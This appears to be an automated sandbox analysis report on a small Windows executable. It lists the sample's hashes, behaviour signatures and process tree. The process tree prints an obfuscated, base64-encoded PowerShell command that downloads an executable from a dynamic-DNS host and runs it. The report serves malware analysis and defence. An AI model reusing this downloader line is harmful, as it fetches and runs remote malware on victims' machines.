Analysis

  • max time kernel
    67s
  • max time network
    51s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/04/2024, 03:41

General

  • Target
    1 (1).exe
  • Size 5KB
  • Sample240430-d876rabd44
  • SHA256 fe01751cf5cbe6528ccc9ea26823545b35d7b606d4c955703c8008f0b4b8b02a
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1 (1).exe
    "C:\Users\Admin\AppData\Local\Temp\1 (1).exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5016
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AG8AcgBrAHMAZQByAHYAZQByAC4AZABkAG4AcwAuAG4AZQB0AC8ARQBuAGMAcgB5AHAAdABlAGQALgBlAHgAZQAnACwAIAA8ACMAagBxAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBmAG0AdQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBrAGoAcwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBFAG4AYwByAHkAcAB0AGUAZAAuAGUAeABlACcAKQApADwAIwBsAHcAYwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBrAGwAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdQB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARQBuAGMAcgB5AHAAdABlAGQALgBlAHgAZQAnACkAPAAjAGEAcABpACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2604

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_3q5ezu4o.msb.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3q5ezu4o.msb.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/2604-9-0x000002A1F0F30000-0x000002A1F0F52000-memory.dmp

        memory/2604-14-0x00007FFBCE870000-0x00007FFBCF331000-memory.dmp

        memory/2604-15-0x000002A1F0600000-0x000002A1F0610000-memory.dmp

        memory/2604-16-0x000002A1F0600000-0x000002A1F0610000-memory.dmp

        memory/2604-17-0x000002A1F0600000-0x000002A1F0610000-memory.dmp

        memory/2604-20-0x00007FFBCE870000-0x00007FFBCF331000-memory.dmp

        memory/5016-0-0x00000000008A0000-0x00000000008A8000-memory.dmp

        memory/5016-1-0x00007FFBCE870000-0x00007FFBCF331000-memory.dmp

        memory/5016-3-0x00007FFBCE870000-0x00007FFBCF331000-memory.dmp